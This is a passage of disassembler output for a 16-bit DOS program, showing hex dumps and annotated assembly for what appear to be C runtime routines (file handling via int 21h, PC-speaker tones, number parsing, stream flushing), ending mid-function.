0800:2430 46 FC 3B C7 75 CD B8 01 00 5F 5E 8B E5 5D CB 55 F.;.u...._^..].U
0800:2440 8B EC 16 8D 46 06 50 B8 01 00 50 33 C0 33 D2 50 ....F.P...P3.3.P
0800:2450 52 E8 E1 F2 5D CB R...].
;; fn0800_2456: 0800:2456
;; Called from:
;; 0800:146E (in fn0800_1153)
fn0800_2456 proc
jmp word ptr [9BAEh]
;; fn0800_245A: 0800:245A
;; Called from:
;; 0800:0AD3 (in fn0800_08AC)
fn0800_245A proc
jmp word ptr [9BB0h]
;; fn0800_245E: 0800:245E
;; Called from:
;; 0800:0B09 (in fn0800_08AC)
fn0800_245E proc
jmp word ptr [9BB2h]
;; fn0800_2462: 0800:2462
;; Called from:
;; 0800:0B12 (in fn0800_08AC)
;; 0800:0B18 (in fn0800_08AC)
fn0800_2462 proc
jmp word ptr [9BB4h]
0800:2466 55 8B EC 83 EC 02 8B 46 04 D1 U......F..
0800:2470 E8 8B C8 A0 0A 9B B4 00 50 8B C1 33 D2 5B F7 F3 ........P..3.[..
0800:2480 8A D8 B4 00 8A 16 0A 9B B6 00 F7 EA 8A D1 2A D0 ..............*.
0800:2490 88 56 FF 8A E3 8A 46 FF 8B E5 5D C2 04 00 55 8B .V....F...]...U.
0800:24A0 EC C4 5E 08 26 8B 17 C4 5E 04 26 3B 17 74 0D B7 ..^.&...^.&;.t..
0800:24B0 00 B4 02 E8 08 F4 C4 5E 04 26 89 17 FE C2 3A 16 .......^.&....:.
0800:24C0 0A 9B 72 04 FE C6 B2 00 C4 5E 08 26 89 17 5D C2 ..r......^.&..].
0800:24D0 08 00 55 8B EC 83 EC 0C 56 57 8B 7E 04 E8 AD 04 ..U.....VW.~....
0800:24E0 89 46 F8 89 46 FA 8B 46 0C 3B 06 0F 9B 75 05 B8 .F..F..F.;...u..
0800:24F0 01 00 EB 02 33 C0 89 46 F6 0B C0 74 0C FF 76 0C ....3..F...t..v.
0800:2500 FF 76 0A E8 60 FF 89 46 FE 8B 46 08 3B 06 0F 9B .v..`..F..F.;...
0800:2510 75 05 B8 01 00 EB 02 33 C0 89 46 F4 0B C0 74 63 u......3..F...tc
0800:2520 FF 76 08 FF 76 06 E8 3D FF 89 46 FC EB 55 83 7E .v..v..=..F..U.~
0800:2530 F4 00 74 18 16 8D 46 FC 50 16 8D 46 FA 50 E8 5D ..t...F.P..F.P.]
0800:2540 FF B7 00 B4 08 E8 76 F3 8B F0 EB 0A C4 5E 06 26 ......v......^.&
0800:2550 8B 37 83 46 06 02 83 7E F6 00 74 1D 16 8D 46 FE .7.F...~..t...F.
0800:2560 50 16 8D 46 FA 50 E8 35 FF 8B C6 8A DC B9 01 00 P..F.P.5........
0800:2570 B7 00 B4 09 E8 47 F3 EB 0A C4 5E 0A 26 89 37 83 .....G....^.&.7.
0800:2580 46 0A 02 8B C7 4F 0B C0 75 A4 8B 56 F8 B7 00 B4 F....O..u..V....
0800:2590 02 E8 2A F3 5F 5E 8B E5 5D C2 0A 00 55 8B EC 8B ..*._^..]...U...
0800:25A0 56 04 A0 0B 9B B4 00 0B C0 75 19 83 3E 11 9B 00 V........u..>...
0800:25B0 74 12 FF 76 0C FF 76 0A FF 76 08 FF 76 06 52 E8 t..v..v..v..v.R.
0800:25C0 79 F0 EB 10 FF 76 0C FF 76 0A FF 76 08 FF 76 06 y....v..v..v..v.
0800:25D0 52 E8 FE FE 5D C2 0A 00 55 8B EC 56 57 8B 5E 0A R...]...U..VW.^.
0800:25E0 8B 76 08 8B 7E 06 A0 0A 9B B4 00 8B C8 A0 09 9B .v..~...........
0800:25F0 B4 00 8B D0 3B D9 77 2D 3B F9 77 29 3B DF 7F 25 ....;.w-;.w);..%
0800:2600 3B F2 77 21 39 56 04 77 1C 3B 76 04 7F 17 0B DB ;.w!9V.w.;v.....
0800:2610 7E 13 0B FF 7E 0F 0B F6 7E 0B 83 7E 04 00 7E 05 ~...~...~..~..~.
0800:2620 B8 01 00 EB 02 33 C0 5F 5E 5D C2 08 00 55 8B EC .....3._^]...U..
0800:2630 8B 56 06 8A 2E 06 9B B1 20 EB 0B C4 5E 08 26 89 .V...... ...^.&.
0800:2640 0F 83 46 08 02 42 3B 56 04 7E F0 5D C2 08 00 55 ..F..B;V.~.]...U
0800:2650 8B EC 81 EC A0 00 A0 0B 9B B4 00 0B C0 74 03 E9 .............t..
0800:2660 3A 01 83 3E 11 9B 00 75 03 E9 30 01 80 7E 04 01 :..>...u..0..~..
0800:2670 74 03 E9 27 01 FE 46 0C FE 46 0A FE 46 08 FE 46 t..'..F..F..F..F
0800:2680 06 80 7E 0E 06 74 03 E9 91 00 8A 46 0A B4 00 50 ..~..t.....F...P
0800:2690 8A 46 0C B4 00 50 8A 46 06 B4 00 50 8A 46 08 B4 .F...P.F...P.F..
0800:26A0 00 50 8A 46 0A B4 00 40 50 8A 46 0C B4 00 50 90 .P.F...@P.F...P.
0800:26B0 0E E8 EE FC 83 C4 0C 16 8D 86 60 FF 50 8A 46 06 ..........`.P.F.
0800:26C0 B4 00 50 8A 46 0C B4 00 50 8A 46 06 B4 00 50 8A ..P.F...P.F...P.
0800:26D0 46 0C B4 00 50 90 0E E8 73 FA 83 C4 0C 16 8D 86 F...P...s.......
0800:26E0 60 FF 50 8A 46 0C B4 00 50 8A 46 08 B4 00 50 E8 `.P.F...P.F...P.
0800:26F0 3B FF 16 8D 86 60 FF 50 8A 46 06 B4 00 50 8A 46 ;....`.P.F...P.F
0800:2700 08 B4 00 50 8A 46 06 B4 00 50 8A 46 0C B4 00 50 ...P.F...P.F...P
0800:2710 90 0E E8 8E FA 83 C4 0C E9 9A 00 8A 46 0A B4 00 ............F...
0800:2720 40 50 8A 46 0C B4 00 50 8A 46 06 B4 00 48 50 8A @P.F...P.F...HP.
0800:2730 46 08 B4 00 50 8A 46 0A B4 00 50 8A 46 0C B4 00 F...P.F...P.F...
0800:2740 50 90 0E E8 5C FC 83 C4 0C 16 8D 86 60 FF 50 8A P...\.......`.P.
0800:2750 46 0A B4 00 50 8A 46 0C B4 00 50 8A 46 0A B4 00 F...P.F...P.F...
0800:2760 50 8A 46 0C B4 00 50 90 0E E8 E1 F9 83 C4 0C 16 P.F...P.........
0800:2770 8D 86 60 FF 50 8A 46 0C B4 00 50 8A 46 08 B4 00 ..`.P.F...P.F...
0800:2780 50 E8 A9 FE 16 8D 86 60 FF 50 8A 46 0A B4 00 50 P......`.P.F...P
0800:2790 8A 46 08 B4 00 50 8A 46 0A E9 6B FF 8A 3E 06 9B .F...P.F..k..>..
0800:27A0 8A 66 0E 8A 46 04 8A 6E 0A 8A 4E 0C 8A 76 06 8A .f..F..n..N..v..
0800:27B0 56 08 E8 09 F1 8B E5 5D C2 0C 00 00 00 8F 06 5A V......].......Z
0800:27C0 9B 8F 06 5C 9B 8F 06 5E 9B 2E 8C 1E BB 27 89 36 ...\...^.....'.6
0800:27D0 60 9B 89 3E 62 9B FC 8E 06 7B 00 BE 80 00 32 E4 `..>b....{....2.
0800:27E0 26 AC 40 8C C5 87 D6 93 8B 36 75 00 46 46 B9 01 &.@......6u.FF..
0800:27F0 00 80 3E 7D 00 03 72 11 8E 06 77 00 8B FE B1 7F ..>}..r...w.....
0800:2800 32 C0 F2 AE E3 72 80 F1 7F 50 8B C1 03 C3 40 25 2....r...P....@%
0800:2810 FE FF 8B FC 2B F8 72 60 8B E7 06 1F 16 07 51 49 ....+.r`......QI
0800:2820 F3 A4 32 C0 AA 8E DD 87 F2 87 D9 8B C3 8B D0 43 ..2............C
0800:2830 E8 1D 00 77 0B 72 46 3C 0D 74 11 E8 12 00 77 F5 ...w.rF<.t....w.
0800:2840 3C 20 74 08 3C 0D 74 04 3C 09 75 E4 32 C0 EB E0 < t.<.t.<.u.2...
0800:2850 0B C0 74 07 42 AA 0A C0 75 01 43 86 E0 32 C0 F9 ..t.B...u.C..2..
0800:2860 E3 15 AC 49 2C 22 74 0F 04 22 3C 5C 75 07 80 3C ...I,"t.."<\u..<
0800:2870 22 75 02 AC 49 0B F6 C3 90 90 E9 FD D9 59 03 CA "u..I........Y..
0800:2880 2E 8E 1E BB 27 89 1E 54 9B 43 03 DB 03 DB 8B F4 ....'..T.C......
0800:2890 8B EC 2B EB 72 E2 8B E5 89 2E 56 9B 8C 16 58 9B ..+.r.....V...X.
0800:28A0 E3 11 89 76 00 8C 56 02 83 C5 04 36 AC 0A C0 E0 ...v..V....6....
0800:28B0 FA 74 ED 33 C0 89 46 00 89 46 02 2E 8E 1E BB 27 .t.3..F..F.....'
0800:28C0 8B 36 60 9B 8B 3E 62 9B FF 36 5E 9B FF 36 5C 9B .6`..>b..6^..6\.
0800:28D0 A1 54 9B A3 6B 00 A1 58 9B A3 6F 00 A1 56 9B A3 .T..k..X..o..V..
0800:28E0 6D 00 FF 26 5A 9B m..&Z.
;; fn0800_28E6: 0800:28E6
;; Called from:
;; 0800:1F5F (in fn0800_1F16)
fn0800_28E6 proc
push bp
mov bp,sp
mov ah,4Ah
mov bx,[bp+8h]
mov es,[bp+6h]
int 21h
jc 28FAh
l0800_28F5:
mov ax,0FFFFh
jmp 2900h
l0800_28FA:
push bx
push ax
call 05ADh
pop ax
l0800_2900:
pop bp
retf
0800:2902 56 57 8E 06 77 00 33 FF 06 FF 36 79 00 90 VW..w.3...6y..
0800:2910 0E E8 1A F4 5B 8B D8 07 A3 64 9B 89 16 66 9B 1E ....[....d...f..
0800:2920 8E DA 0B C2 75 05 90 90 E9 4F D9 33 C0 B9 FF FF ....u....O.3....
0800:2930 26 80 3D 00 74 0F 89 3F 8C 47 02 83 C3 04 F2 AE &.=.t..?.G......
0800:2940 26 38 05 75 F1 89 07 89 47 02 1F 5F 5E A1 66 9B &8.u....G.._^.f.
0800:2950 A3 73 00 A1 64 9B A3 71 00 C3 .s..d..q..
;; fn0800_295A: 0800:295A
;; Called from:
;; 268D:0609 (in fn268D_05FB)
fn0800_295A proc
push bp
mov bp,sp
mov bx,[bp+6h]
mov ax,34DDh
mov dx,12h
cmp dx,bx
jnc 2984h
l0800_296A:
div bx
mov bx,ax
in al,61h
test al,3h
jnz 297Ch
l0800_2974:
or al,3h
out 61h,al
mov al,0B6h
out 43h,al
l0800_297C:
mov al,bl
out 42h,al
mov al,bh
out 42h,al
l0800_2984:
pop bp
retf
;; fn0800_2986: 0800:2986
;; Called from:
;; 268D:0621 (in fn268D_05FB)
fn0800_2986 proc
in al,61h
and al,0FCh
out 61h,al
retf
0800:298D B4 03 B7 ...
0800:2990 00 E8 2A EF 8B C2 C3 E8 F3 FF B4 00 8A 16 02 9B ..*.............
0800:29A0 B6 00 2B C2 40 CB E8 E4 FF B1 08 D3 E8 B4 00 8A ..+.@...........
0800:29B0 16 03 9B B6 00 2B C2 40 CB .....+.@.
;; fn0800_29B9: 0800:29B9
;; Called from:
;; 0F2B:1572 (in fn0F2B_153F)
fn0800_29B9 proc
push bp
mov bp,sp
xor ax,ax
push ax
push word ptr [bp+8h]
push word ptr [bp+6h]
nop
push cs
call 2A76h
add sp,6h
mov dx,ax
cmp dx,0FFh
jz 29EEh
l0800_29D4:
test word ptr [bp+0Ah],2h
jz 29E1h
l0800_29DB:
test dx,1h
jnz 29E5h
l0800_29E1:
xor ax,ax
jmp 29EEh
l0800_29E5:
mov word ptr [007Fh],5h
mov ax,0FFFFh
l0800_29EE:
pop bp
retf
;; fn0800_29F0: 0800:29F0
;; Called from:
;; 0800:42C6 (in fn0800_418D)
;; 268D:00A5 (in fn268D_000F)
;; 268D:097B (in fn268D_0974)
fn0800_29F0 proc
push bp
mov bp,sp
push si
push di
push es
push bp
les si,[bp+6h]
cld
sub ax,ax
cwd
mov cx,0Ah
mov bh,0h
mov di,96E3h
l0800_2A06:
mov bl,es:[si]
inc si
test byte ptr [bx+di],1h
jnz 2A06h
l0800_2A0F:
mov bp,0h
cmp bl,2Bh
jz 2A1Dh
l0800_2A17:
cmp bl,2Dh
jnz 2A21h
l0800_2A1C:
inc bp
l0800_2A1D:
mov bl,es:[si]
inc si
l0800_2A21:
cmp bl,39h
ja 2A55h
l0800_2A26:
sub bl,30h
jc 2A55h
l0800_2A2B:
mul cx
add ax,bx
adc dl,dh
jz 2A1Dh
l0800_2A33:
jmp 2A47h
l0800_2A35:
mov di,dx
mov cx,0Ah
mul cx
xchg di,ax
xchg cx,dx
mul dx
xchg dx,ax
xchg di,ax
add ax,bx
adc dx,cx
l0800_2A47:
mov bl,es:[si]
inc si
cmp bl,39h
ja 2A55h
l0800_2A50:
sub bl,30h
jnc 2A35h
l0800_2A55:
dec bp
jl 2A5Fh
l0800_2A58:
neg dx
neg ax
sbb dx,0h
l0800_2A5F:
pop bp
pop es
pop di
pop si
pop bp
retf
0800:2A65 55 8B EC FF 76 08 FF 76 06 0E E8 U...v..v...
0800:2A70 7E FF 59 59 5D CB ~.YY].
;; fn0800_2A76: 0800:2A76
;; Called from:
;; 0800:29C6 (in fn0800_29B9)
;; 0800:363B (in fn0800_3615)
;; 0800:3742 (in fn0800_3615)
fn0800_2A76 proc
push bp
mov bp,sp
push ds
mov cx,[bp+0Ch]
mov ah,43h
mov al,[bp+0Ah]
lds dx,[bp+6h]
int 21h
pop ds
jc 2A8Dh
l0800_2A8A:
xchg cx,ax
jmp 2A91h
l0800_2A8D:
push ax
call 05ADh
l0800_2A91:
pop bp
retf
;; fn0800_2A93: 0800:2A93
;; Called from:
;; 0800:2BBB (in fn0800_2B50)
;; 0CE0:006A (in fn0CE0_0007)
;; 0CE0:0F87 (in fn0CE0_08FC)
;; 0CE0:0FE5 (in fn0CE0_08FC)
;; 0CE0:1076 (in fn0CE0_08FC)
;; 0CE0:10DC (in fn0CE0_08FC)
;; 0E31:009B (in fn0E31_0002)
;; 0F2B:168B (in fn0F2B_153F)
;; 209F:045D (in fn209F_02E3)
;; 209F:09C0 (in fn209F_08D2)
;; 2476:0709 (in fn2476_0630)
;; 2504:09C8 (in fn2504_094D)
;; 263F:03DF (in fn263F_033E)
;; 268D:046B (in fn268D_03E2)
;; 268D:05BE (in fn268D_03E2)
fn0800_2A93 proc
push bp
mov bp,sp
mov dx,[bp+6h]
cmp dx,[9980h]
jc 2AA8h
l0800_2A9F:
mov ax,6h
push ax
call 05ADh
jmp 2AB9h
l0800_2AA8:
mov bx,dx
shl bx,1h
mov word ptr [bx+9982h],0h
push dx
nop
push cs
call 2ABBh
pop cx
l0800_2AB9:
pop bp
retf
;; fn0800_2ABB: 0800:2ABB
;; Called from:
;; 0800:2AB4 (in fn0800_2A93)
;; 0800:36B2 (in fn0800_3615)
fn0800_2ABB proc
push bp
mov bp,sp
mov ah,3Eh
mov bx,[bp+6h]
int 21h
jc 2AD3h
l0800_2AC7:
shl bx,1h
mov word ptr [bx+9982h],0h
xor ax,ax
jmp 2AD7h
l0800_2AD3:
push ax
call 05ADh
l0800_2AD7:
pop bp
retf
;; fn0800_2AD9: 0800:2AD9
;; Called from:
;; 0800:33D7 (in fn0800_3334)
;; 1D10:1022 (in fn1D10_0FB3)
;; 1D10:10D3 (in fn1D10_0FB3)
fn0800_2AD9 proc
push bp
mov bp,sp
sub sp,4h
mov ax,[bp+6h]
cmp ax,[9980h]
jc 2AEEh
l0800_2AE8:
mov ax,6h
push ax
jmp 2B49h
l0800_2AEE:
mov bx,[bp+6h]
shl bx,1h
test word ptr [bx+9982h],200h
jz 2B00h
l0800_2AFB:
mov ax,1h
jmp 2B4Ch
l0800_2B00:
mov ax,4400h
mov bx,[bp+6h]
int 21h
jc 2B48h
l0800_2B0A:
test dl,80h
jnz 2B44h
l0800_2B0F:
mov ax,4201h
xor cx,cx
mov dx,cx
int 21h
jc 2B48h
l0800_2B1A:
push dx
push ax
mov ax,4202h
xor cx,cx
mov dx,cx
int 21h
mov [bp-4h],ax
mov [bp-2h],dx
pop dx
pop cx
jc 2B48h
l0800_2B2F:
mov ax,4200h
int 21h
jc 2B48h
l0800_2B36:
cmp dx,[bp-2h]
jc 2B44h
l0800_2B3B:
ja 2B42h
l0800_2B3D:
cmp ax,[bp-4h]
jc 2B44h
l0800_2B42:
jmp 2AFBh
l0800_2B44:
xor ax,ax
jmp 2B4Ch
l0800_2B48:
push ax
l0800_2B49:
call 05ADh
l0800_2B4C:
mov sp,bp
pop bp
retf
;; fn0800_2B50: 0800:2B50
;; Called from:
;; 0800:2FC4 (in fn0800_2F10)
;; 263F:0334 (in fn263F_00A6)
;; 268D:005C (in fn268D_000F)
;; 268D:00EB (in fn268D_000F)
fn0800_2B50 proc
push bp
mov bp,sp
push si
mov si,0FFFFh
mov ax,[bp+6h]
or ax,[bp+8h]
jnz 2B62h
l0800_2B5F:
jmp 2C03h
l0800_2B62:
les bx,[bp+6h]
mov ax,es:[bx+12h]
cmp ax,[bp+6h]
jz 2B71h
l0800_2B6E:
jmp 2C03h
l0800_2B71:
les bx,[bp+6h]
cmp word ptr es:[bx+6h],0h
jz 2BAAh
l0800_2B7B:
cmp word ptr es:[bx],0h
jge 2B90h
l0800_2B81:
push word ptr [bp+8h]
push bx
nop
push cs
call 2C08h
pop cx
pop cx
or ax,ax
jnz 2C03h
l0800_2B90:
les bx,[bp+6h]
test word ptr es:[bx+2h],4h
jz 2BAAh
l0800_2B9B:
push word ptr es:[bx+0Ah]
push word ptr es:[bx+8h]
nop
push cs
call 1C24h
pop cx
pop cx
l0800_2BAA:
les bx,[bp+6h]
cmp byte ptr es:[bx+4h],0h
jl 2BC2h
l0800_2BB4:
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 2A93h
pop cx
mov si,ax
l0800_2BC2:
les bx,[bp+6h]
mov word ptr es:[bx+2h],0h
mov word ptr es:[bx+6h],0h
mov word ptr es:[bx],0h
mov byte ptr es:[bx+4h],0FFh
cmp word ptr es:[bx+10h],0h
jz 2C03h
l0800_2BE2:
xor ax,ax
xor dx,dx
push ax
push dx
push ax
push dx
push word ptr es:[bx+10h]
call 06D4h
push dx
push ax
nop
push cs
call 1123h
pop cx
pop cx
les bx,[bp+6h]
mov word ptr es:[bx+10h],0h
l0800_2C03:
mov ax,si
pop si
pop bp
retf
;; fn0800_2C08: 0800:2C08
;; Called from:
;; 0800:2B86 (in fn0800_2B50)
;; 0800:2E3A (in fn0800_2E12)
;; 0800:3114 (in fn0800_3106)
;; 0800:328E (in fn0800_3266)
;; 0800:385B (in fn0800_380A)
;; 0800:38A9 (in fn0800_380A)
;; 0800:38FA (in fn0800_380A)
fn0800_2C08 proc
push bp
mov bp,sp
push si
mov ax,[bp+6h]
or ax,[bp+8h]
jnz 2C1Ch
l0800_2C14:
nop
push cs
call 2E12h
jmp 2CD0h
l0800_2C1C:
les bx,[bp+6h]
mov ax,es:[bx+12h]
cmp ax,[bp+6h]
jz 2C2Eh
l0800_2C28:
mov ax,0FFFFh
jmp 2CD2h
l0800_2C2E:
les bx,[bp+6h]
cmp word ptr es:[bx],0h
jl 2C88h
l0800_2C37:
test word ptr es:[bx+2h],8h
jnz 2C57h
l0800_2C3F:
mov ax,es:[bx+0Eh]
mov dx,[bp+6h]
add dx,5h
cmp ax,[bp+8h]
jz 2C51h
l0800_2C4E:
jmp 2CD0h
l0800_2C51:
cmp es:[bx+0Ch],dx
jnz 2CD0h
l0800_2C57:
les bx,[bp+6h]
mov word ptr es:[bx],0h
mov ax,es:[bx+0Eh]
mov dx,[bp+6h]
add dx,5h
cmp ax,[bp+8h]
jnz 2CD0h
l0800_2C6E:
cmp es:[bx+0Ch],dx
jnz 2CD0h
l0800_2C74:
mov ax,es:[bx+0Ah]
mov dx,es:[bx+8h]
mov es:[bx+0Eh],ax
mov es:[bx+0Ch],dx
jmp 2CD0h
0800:2C86 EB 48 .H
l0800_2C88:
les bx,[bp+6h]
mov ax,es:[bx+6h]
add ax,es:[bx]
inc ax
mov si,ax
sub es:[bx],si
push ax
mov ax,es:[bx+0Ah]
mov dx,es:[bx+8h]
mov es:[bx+0Eh],ax
mov es:[bx+0Ch],dx
push ax
push dx
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 44C8h
add sp,8h
cmp ax,si
jz 2CD0h
l0800_2CBD:
les bx,[bp+6h]
test word ptr es:[bx+2h],200h
jnz 2CD0h
l0800_2CC8:
or word ptr es:[bx+2h],10h
jmp 2C28h
l0800_2CD0:
xor ax,ax
l0800_2CD2:
pop si
pop bp
retf
;; fn0800_2CD5: 0800:2CD5
;; Called from:
;; 263F:0017 (in fn263F_0008)
;; 263F:0044 (in fn263F_0008)
fn0800_2CD5 proc
push bp
mov bp,sp
sub sp,4h
push si
push di
mov di,[bp+0Ah]
xor cx,cx
mov ax,[bp+8h]
mov dx,[bp+6h]
mov [bp-2h],ax
mov [bp-4h],dx
jmp 2CF9h
l0800_2CF0:
les bx,[bp-4h]
mov es:[bx],cl
inc word ptr [bp-4h]
l0800_2CF9:
cmp cx,0Ah
jz 2D32h
l0800_2CFE:
dec di
jle 2D32h
l0800_2D01:
les bx,[bp+0Ch]
dec word ptr es:[bx]
jl 2D1Eh
l0800_2D09:
mov ax,es:[bx+0Eh]
mov si,es:[bx+0Ch]
inc word ptr es:[bx+0Ch]
mov es,ax
mov al,es:[si]
mov ah,0h
jmp 2D2Bh
l0800_2D1E:
push word ptr [bp+0Eh]
push word ptr [bp+0Ch]
nop
push cs
call 331Ch
pop cx
pop cx
l0800_2D2B:
mov cx,ax
cmp ax,0FFFFh
jnz 2CF0h
l0800_2D32:
cmp cx,0FFh
jnz 2D4Dh
l0800_2D37:
mov ax,[bp-2h]
mov dx,[bp-4h]
cmp ax,[bp+8h]
jnz 2D4Dh
l0800_2D42:
cmp dx,[bp+6h]
jnz 2D4Dh
l0800_2D47:
xor dx,dx
xor ax,ax
jmp 2D6Bh
l0800_2D4D:
les bx,[bp-4h]
mov byte ptr es:[bx],0h
les bx,[bp+0Ch]
test word ptr es:[bx+2h],10h
jz 2D65h
l0800_2D5F:
xor dx,dx
xor ax,ax
jmp 2D6Bh
l0800_2D65:
mov dx,[bp+8h]
mov ax,[bp+6h]
l0800_2D6B:
pop di
pop si
mov sp,bp
pop bp
retf
;; fn0800_2D71: 0800:2D71
;; Called from:
;; 263F:00D8 (in fn263F_00A6)
fn0800_2D71 proc
push bp
mov bp,sp
push ds
mov ah,2Fh
int 21h
push es
push bx
mov ah,1Ah
lds dx,[bp+0Ah]
int 21h
mov ah,4Eh
mov cx,[bp+0Eh]
lds dx,[bp+6h]
int 21h
pushf
pop cx
xchg bx,ax
mov ah,1Ah
pop dx
pop ds
int 21h
push cx
popf
pop ds
jc 2D9Eh
l0800_2D9A:
xor ax,ax
jmp 2DA2h
l0800_2D9E:
push bx
call 05ADh
l0800_2DA2:
pop bp
retf
;; fn0800_2DA4: 0800:2DA4
;; Called from:
;; 263F:00EF (in fn263F_00A6)
fn0800_2DA4 proc
push bp
mov bp,sp
push ds
mov ah,2Fh
int 21h
push es
push bx
mov ah,1Ah
lds dx,[bp+6h]
int 21h
mov ah,4Fh
int 21h
pushf
pop cx
xchg bx,ax
mov ah,1Ah
pop dx
pop ds
int 21h
push cx
popf
pop ds
jc 2DCBh
l0800_2DC7:
xor ax,ax
jmp 2DCFh
l0800_2DCB:
push bx
call 05ADh
l0800_2DCF:
pop bp
retf
;; fn0800_2DD1: 0800:2DD1
;; Called from:
;; 2504:098E (in fn2504_094D)
;; 268D:0416 (in fn268D_03E2)
fn0800_2DD1 proc
push bp
mov bp,sp
sub sp,4h
mov ax,4201h
mov bx,[bp+6h]
xor cx,cx
xor dx,dx
int 21h
jc 2E09h
l0800_2DE5:
push dx
push ax
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
mov [bp-4h],ax
mov [bp-2h],dx
pop dx
pop cx
jc 2E09h
l0800_2DFA:
mov ax,4200h
int 21h
jc 2E09h
l0800_2E01:
mov dx,[bp-2h]
mov ax,[bp-4h]
jmp 2E0Eh
l0800_2E09:
push ax
call 05ADh
cwd
l0800_2E0E:
mov sp,bp
pop bp
retf
;; fn0800_2E12: 0800:2E12
;; Called from:
;; 0800:2C15 (in fn0800_2C08)
fn0800_2E12 proc
push bp
mov bp,sp
sub sp,4h
push si
push di
xor di,di
mov si,[9980h]
mov [bp-2h],ds
mov word ptr [bp-4h],97F0h
jmp 2E45h
l0800_2E2A:
les bx,[bp-4h]
test word ptr es:[bx+2h],3h
jz 2E41h
l0800_2E35:
push word ptr [bp-2h]
push bx
nop
push cs
call 2C08h
pop cx
pop cx
inc di
l0800_2E41:
add word ptr [bp-4h],14h
l0800_2E45:
mov ax,si
dec si
or ax,ax
jnz 2E2Ah
l0800_2E4C:
mov ax,di
pop di
pop si
mov sp,bp
pop bp
retf
;; fn0800_2E54: 0800:2E54
;; Called from:
;; 0800:2F26 (in fn0800_2F10)
fn0800_2E54 proc
push bp
mov bp,sp
push si
push di
xor di,di
les bx,[bp+0Ch]
inc word ptr [bp+0Ch]
mov cl,es:[bx]
mov al,cl
cmp al,72h
jnz 2E72h
l0800_2E6A:
mov dx,1h
mov si,1h
jmp 2E90h
l0800_2E72:
cmp cl,77h
jnz 2E7Ch
l0800_2E77:
mov dx,302h
jmp 2E84h
l0800_2E7C:
cmp cl,61h
jnz 2E8Ch
l0800_2E81:
mov dx,902h
l0800_2E84:
mov di,80h
mov si,2h
jmp 2E90h
l0800_2E8C:
xor ax,ax
jmp 2F0Ah
l0800_2E90:
les bx,[bp+0Ch]
mov cl,es:[bx]
inc word ptr [bp+0Ch]
cmp cl,2Bh
jz 2EB1h
l0800_2E9E:
les bx,[bp+0Ch]
cmp byte ptr es:[bx],2Bh
jnz 2EC8h
l0800_2EA7:
cmp cl,74h
jz 2EB1h
l0800_2EAC:
cmp cl,62h
jnz 2EC8h
l0800_2EB1:
cmp cl,2Bh
jnz 2EBCh
l0800_2EB6:
les bx,[bp+0Ch]
mov cl,es:[bx]
l0800_2EBC:
and dx,0FCh
or dx,4h
mov di,180h
mov si,3h
l0800_2EC8:
cmp cl,74h
jnz 2ED3h
l0800_2ECD:
or dx,4000h
jmp 2EF0h
l0800_2ED3:
cmp cl,62h
jnz 2EDEh
l0800_2ED8:
or dx,8000h
jmp 2EEDh
l0800_2EDE:
mov ax,[99AAh]
and ax,0C000h
or dx,ax
mov ax,dx
test ax,8000h
jz 2EF0h
l0800_2EED:
or si,40h
l0800_2EF0:
mov word ptr [97EAh],800h
mov word ptr [97E8h],4658h
les bx,[bp+8h]
mov es:[bx],dx
les bx,[bp+4h]
mov es:[bx],di
mov ax,si
l0800_2F0A:
pop di
pop si
pop bp
ret 0Ch
;; fn0800_2F10: 0800:2F10
;; Called from:
;; 0800:3059 (in fn0800_302B)
fn0800_2F10 proc
push bp
mov bp,sp
sub sp,4h
push word ptr [bp+8h]
push word ptr [bp+6h]
push ss
lea ax,[bp-2h]
push ax
push ss
lea ax,[bp-4h]
push ax
call 2E54h
les bx,[bp+0Eh]
mov es:[bx+2h],ax
or ax,ax
jz 2F5Eh
l0800_2F34:
cmp byte ptr es:[bx+4h],0h
jge 2F72h
l0800_2F3B:
push word ptr [bp-4h]
mov ax,[bp-2h]
or ax,[bp+4h]
push ax
push word ptr [bp+0Ch]
push word ptr [bp+0Ah]
nop
push cs
call 3615h
add sp,8h
les bx,[bp+0Eh]
mov es:[bx+4h],al
or al,al
jge 2F72h
l0800_2F5E:
les bx,[bp+0Eh]
mov byte ptr es:[bx+4h],0FFh
mov word ptr es:[bx+2h],0h
l0800_2F6C:
xor dx,dx
xor ax,ax
jmp 2FDBh
l0800_2F72:
les bx,[bp+0Eh]
mov al,es:[bx+4h]
cbw
push ax
nop
push cs
call 05F8h
pop cx
or ax,ax
jz 2F8Eh
l0800_2F85:
les bx,[bp+0Eh]
or word ptr es:[bx+2h],200h
l0800_2F8E:
mov ax,200h
push ax
les bx,[bp+0Eh]
test word ptr es:[bx+2h],200h
jz 2FA2h
l0800_2F9D:
mov ax,1h
jmp 2FA4h
l0800_2FA2:
xor ax,ax
l0800_2FA4:
push ax
xor ax,ax
xor dx,dx
push ax
push dx
push word ptr [bp+10h]
push word ptr [bp+0Eh]
nop
push cs
call 3C8Ah
add sp,0Ch
or ax,ax
jz 2FCCh
l0800_2FBD:
push word ptr [bp+10h]
push word ptr [bp+0Eh]
nop
push cs
call 2B50h
pop cx
pop cx
jmp 2F6Ch
l0800_2FCC:
les bx,[bp+0Eh]
mov word ptr es:[bx+10h],0h
mov dx,[bp+10h]
mov ax,[bp+0Eh]
l0800_2FDB:
mov sp,bp
pop bp
ret 0Eh
;; fn0800_2FE1: 0800:2FE1
;; Called from:
;; 0800:3031 (in fn0800_302B)
fn0800_2FE1 proc
push bp
mov bp,sp
sub sp,4h
mov [bp-2h],ds
mov word ptr [bp-4h],97F0h
l0800_2FEF:
les bx,[bp-4h]
cmp byte ptr es:[bx+4h],0h
jl 3011h
l0800_2FF9:
mov ax,[bp-4h]
add word ptr [bp-4h],14h
push ax
mov ax,[9980h]
mov dx,14h
imul dx
add ax,97F0h
pop dx
cmp dx,ax
jc 2FEFh
l0800_3011:
les bx,[bp-4h]
cmp byte ptr es:[bx+4h],0h
jl 3021h
l0800_301B:
xor dx,dx
xor ax,ax
jmp 3027h
l0800_3021:
mov dx,[bp-2h]
mov ax,[bp-4h]
l0800_3027:
mov sp,bp
pop bp
ret
;; fn0800_302B: 0800:302B
;; Called from:
;; 263F:0317 (in fn263F_00A6)
;; 268D:001B (in fn268D_000F)
;; 268D:006C (in fn268D_000F)
fn0800_302B proc
push bp
mov bp,sp
sub sp,4h
call 2FE1h
mov [bp-2h],dx
mov [bp-4h],ax
or ax,dx
jnz 3044h
l0800_303E:
xor dx,dx
xor ax,ax
jmp 305Ch
l0800_3044:
push word ptr [bp-2h]
push word ptr [bp-4h]
push word ptr [bp+8h]
